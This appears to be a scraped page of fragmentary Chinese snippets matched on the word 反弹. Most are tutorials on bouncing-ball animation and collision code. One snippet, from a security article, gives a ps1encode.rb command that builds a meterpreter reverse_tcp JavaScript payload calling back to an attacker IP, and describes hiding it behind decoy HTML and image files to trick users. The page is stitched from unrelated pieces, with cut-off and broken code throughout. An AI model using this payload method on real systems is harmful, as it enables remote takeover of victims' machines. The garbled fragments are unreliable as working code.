) 半径:r X轴速度:Vax Y轴速度:Vay 圆心:B(x2,y2) 半径:R X轴速度:Vbx Y轴速度:Vby } 碰撞的条件是: 1.两个小球的圆心距离不大于两小球半径之和...(r+R),即: { (x2 - x1)^2 + (y2 - y1)^2 <= (r + R)^2 } 2.小球碰撞后,两小球的数度交换,即: {...,他们之间会产生碰撞,当然小球和上下左右都会产生碰撞 碰撞后,小球会改变方向返回 而最下面的游标则用于调节小球的移动速度,游标的范围是[-100, 100] ''' __author...self.balls = [] #存放小球x坐标数组 self.ball_x = [] #存放小球y坐标数组 self.ball_y...= [] #存放小球x轴方向速度数组 self.ball_v_x = [] #存放小球y轴方向速度数组 self.ball_v_y =
二、再给小球加上刚体rigibody 2d 组件和碰撞器circle colliders 2d 组件 三、在资源asset栏点击鼠标右键创建,点击2D创建 四、 进行物理材料创建,点击Physics...materrial 2d 五、调整弹力大小,拉到合适位置 六、拖拽物理材料到小球ball上的碰撞器组件中,边完成了 七、效果展示 Unity简单实现小球弹跳效果 延伸拓展 1、在Unity中优化
链接:https://www.freebuf.com/articles/system/207109.html 网络世界千奇百怪,多样式留后门,触发条件反弹shell.操作够骚才是王道。...文件来反弹shell ?...利用此命令生成js文件 ?...代码很长,自己复制出来放到txt编辑器里。 并重命名为1.js(文件名随意)。 ? 单单放一个js太单调了。实际环境下可以配合html进行调用js文件执行。 ?...我简单的写了一个html来调用js文件 当然你也可以 一个js就反弹 ? 准备好msf回弹的环境 执行exploit 坐等监听执行 三、执行效果 ?
ps1encode.rb --LHOST 192.168.67.128 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js...>> shell.js ?...4、创建隐蔽的html文件以及图片文件进行迷惑用户,在html文件中引用恶意的JS文件: ?... SimpleTest js'> 反弹shell回来 ?
就是类似于 PC端的滚动事件,但是在移动端是没有滚动事件的,所以就要用到 Touch事件结合 js去实现,效果如下: ? 1. 准备工作 什么是移动端的 Touch事件?...还要做另一件事情,就是获取两点的差值( B.clientY-A.clientY),将这个差值动态赋值给 ul, ul只需要设置向 Y轴方向偏移这个距离,就能实现列表随手指滑动 先来张示意图,怎么通过 js...示例代码 // 向上反弹 var maxUpBounce = 0; // touchend 时,记录此时手指在 Y 轴上的落点距离可视顶部距离 ul.addEventListener('touchend...示例代码 // 向上反弹值 var maxUpBounce = 0; // 向下反弹值 var maxDownBounce = -(ul.offsetHeight - draw.offsetHeight...完整代码 <!
更多内容请见原文,原文转载自:https://blog.csdn.net/weixin_44519496/article/details/120055629
用原生 JS 封装一个动画插件。效果如下: ? 这个飞驰的小球看起来是不是特有灵性呢?没错,它就是用原生JS实现的。 接下来,就让我们深入细节,体会其中的奥秘。...并且,小球的始终在不离开浏览器的边界运动,碰到边界会有如图的反弹效果。...; curT += speed; //小球到达视口最右端,反弹 if (curT >= maxL) { this.ele.style.left...; curT += speed; //小球飞到视口顶部,反弹 if (curT >= maxT) { this.ele.style.top...(手动滑稽) 五、优化代码 //Drag.jsif (typeof Subscribe === 'undefined') { throw new ReferenceError('没有引入subscribe.js
语法: if(ball.x < ball.radius){ //小球“碰到”左边界时 }else if(ball.x > cnv.width - ball.radius){ //小球“碰到...//tools.js //随机生成一个十六进制颜色值的字符串 tools.getRandomColor = function(){ let color = '#'; for(let...1.4 边界反弹 边界反弹,指的是物体触碰到边界之后就会反弹回来,就像现实世界中小球碰到墙壁反弹一样。 在物体碰到边界后,我们需要做两件事,即保持它的位置不变和改变它的速度力量。...示例:简易俄罗斯方块 //tools.js //判断两个矩形是否发生碰撞 tools.checkRect = function(rectA, rectB){ return !...true : false; } 示例:两个球碰撞 //tools.js //判断两个圆形是否发生碰撞 tools.checkCircle = function(circleB, circleA){
html+css+js实现打砖块小游戏 简介 游戏要求 打砖块的小游戏对于许多同学来说是熟悉的,这个小游戏的逻辑如下: 1、添加挡板、小球、砖块等角色; 2、设置挡板随鼠标移动; 3、设置小球不断运行...,在遇到挡板时反弹; 4、设置砖块被小球击中时消失,并克隆下一个砖块; 5、设置计分; 6、判断游戏结束(以小球低于档板为游戏结束)。....完整代码 index.html START js...border-radius: 4px; display: flex; background: rgba(255, 255, 255, 0.4); justify-content: center; } JS
简单的简述一下原理: 首先是用css在dom创建的div里面画一个若干个圆,圆的大小是随机数,圆的数量也是随机设置的,当然颜色也是随机的, 最后是移动速度,然后拿到屏幕的宽高,下一步就是让小球运动起来,...background: radial-gradient(circle, #fff, #fff600); border-radius: 50%; } // 创建[1,11)个小球...var mdAttr = document.createDocumentFragment(); var OBall = [];//小球对象数组 for..."div"); OBall[i].setAttribute("class", "ball"); var cirR = random(80,100);//小球半径...,以免超过边界 MaxW = W - ball.offsetWidth; ball.startX += ball.Vx;//改变小球位置
以小球来说,我们用oldX和oldY分别表示小球旧的位置坐标,新的位置坐标是ball.x和ball.y,可以得到: vx = ball.x - oldX; vy = ball.y - oldY; 示例:...抛掷小球 //tools.js Ball.prototype = { ......true : false; } } //my-canvas.js methods: { ... // 捕获/拖拽/抛掷小球 captureBall(cxt, cnv){...2.2 弹性动画 在缓动动画中,物体滑动到终点就停下来了,在弹性动画中,物体滑动到终点后还会来回反弹一会,直至停止。...如果我们想要使用Box2DWeb,只需要引入Box2D.js或Box2D.min.js就可以使用了。
个人主页:天寒雨落的博客_CSDN博客-C,CSDN竞赛,python领域博主 目录 python game 小球基础 1.准备工作 2.开始制作 1.创建一个小球 2.创建逐渐变大的小球 3.创建一个自由下落的小球... 4.用if语句实现循环下落 5.做一个循环上下反弹的小球 ---- python game 小球基础 1.准备工作 、1.在文件里找到设置 2.在项目里找到python解释器,点击右边的加号 ...3.搜素pygame并安装 同理下载pgzero安装包 2.开始制作 1.创建一个小球 代码 import pgzrun def draw(): screen.fill('green')...),r,'red') def update(): global r r=r+1 pgzrun.go() 执行结果 3.创建一个自由下落的小球 代码 import pgzrun y=100...400,y),30,'red') def update(): global y y=y+1 if y>600: y=0 pgzrun.go() 5.做一个循环上下反弹的小球
上一章我们讲了简单的动画是如何绘制的,如果没有看上一章的童鞋,请点这里,本章的内容也是接着上一章的内容,代码也只修改其中部分。...---- 加速运动 我上章中,涉及直线的运动,其速度都是恒定的,现在我们做一下加速的运行,同样的我们只给出核心的代码。...带反弹的抛物线运动 增加一点难度,小球触碰到最下面那么将反弹,通常反弹会损失一点能量,我们就设置每次反弹后的速度是原来的80%。...var bounce = -0.8; // 更新小球 function updateBall(){ ballX += vx; ballY += vy; // 如果小球的高度 到最下面了...那么就设置最下面你的值 并且就反弹 if (ballY > canvas.height - ballRadius) { ballY = canvas.height - ballRadius
transform.Translate(0,5*Time.deltaTime,0); } } } 绑定在发射的小球上的脚本 using UnityEngine; using System.Collections
小球与斜面碰撞的代码实现 在写代码之初我们修改一下上次代码中的checkWalls方法,把反弹损耗的速度比例用一个变量bounce来定义,这样触碰斜面的时候损耗的速度也用这个变量来计算,如下: let...说明碰撞上了 由于小球在斜线上面所以pos.y是负数 需要加个符号变为正数在比较 if (-pos.y < ball.radius) { // 反弹处理 vel.y...由上我们发现我们的代码还是有问题的,目前斜面是无限长的。 只在斜面区域内处理斜面碰撞 如图,只有当小球在粉色区域内才需要判断小球与斜面是否相交,其他情况下都不需要去判断。 ?...说明碰撞上了 由于小球在斜线上面所以pos.y是负数 需要加个符号变为正数在比较 if (-pos.y < ball.radius) { // 反弹处理 vel.y *...小球在斜面下的处理 小球在斜面下面的时候也可能会碰撞到斜面,此时也需要反弹,由于我们已经旋转过了,直接添加逻辑就可以了,现在修改checkLine方法,如下: function checkLine(ball
第10次反弹多高?...("\\s"); int h = scan.nextInt(); int n = scan.nextInt(); scan.close(); distance(h,n); } //小球从...h高度落下,经n次反弹后经过的距离和反弹的高度 private static void distance(int h,int n){ double length = 0; for(int i=...0;i<n;i++){ length += h; h /=2.0 ; } System.out.println("经过第"+n+"次反弹后,小球共经过"+length+"米,"+"第..."+n+"次反弹高度为"+h+"米"); } }
:(x大于400反弹): 只需反弹时将vX速度取反就行了,和现实一致 ?...反弹变色.gif /** * 更新小球 */ private void updateBall() { mBall.x += mBall.vX; if (mBall.x > 400)...;//默认小球加速度 private float mMaxY = 0;//Y最大值 updateBall里根据竖直加速度aY动态改变vY即可,这里反弹之后依然会遵循物理定律 注意:你可以在反弹是乘个系数当做损耗值...canvas.translate(mCoo.x, mCoo.y); drawBalls(canvas, mBalls); canvas.restoreToCount(sc); } ---- 3.两个小球的碰撞反弹...两个小球的碰撞反弹.gif //准备两个球 private void initBalls() { for (int i = 0; i < 2; i++) { Ball mBall
第10次反弹多高? #!...第10次反弹多高?...# 入口函数 if __name__ == '__main__': # 小球距地面的高度,初始时为100 height = 100 # 小球经过的距离,首次落地时经过的距离为100...height /= 2 # 每次落地经过的距离为height*2 dist += height * 2 print("小球第%d次落地时...,共经过%.2f米;第%d次反弹高度为%.2f" % (i, dist, i - 1, height))
反弹球消砖块 本博客介绍利用EasyX实现一个反弹球消砖块的小游戏。 本文源码可从github获取 1....控制挡板接球 第三步用A/S/W/D实现挡板的移动,判断挡板是否接中小球,接中后反弹。...,小球反弹 if (((ball.y + radius >= bar_top) && (ball.y + radius < bar_bottom - bar_high / 3)) || ((ball.y...ball.x += speed.x; ball.y += speed.y; // 小球边界碰撞,小球反弹 if (ball.x = Width -...,小球反弹 int brick_left, brick_right, brick_top, brick_bottom; for (int i = 0; i < Brick_num; i++) {
& i % n == 0) { return i; } } return -1; } } JAVA12 小球走过路程计算...描述 一球从h米高度自由落下,每次落地后反弹回原高度的一半再落下,求它在第 n 次落地时共经过了多少米?...第 n 次反弹多高?...输入描述 输入小球的初始高度和落地的次数(先输入小球初始高度再输入反弹次数) 输出描述 输出小球反弹的高度和经过的距离(先输出反弹的高度再输出经过的距离,中间用空格隔开) 示例1 输入: 100 3 输出...= sum / count; System.out.println(String.format("%.2f", avg)); } } JAVA14 判断质数 描述 请补全预设代码中判断质数的方法
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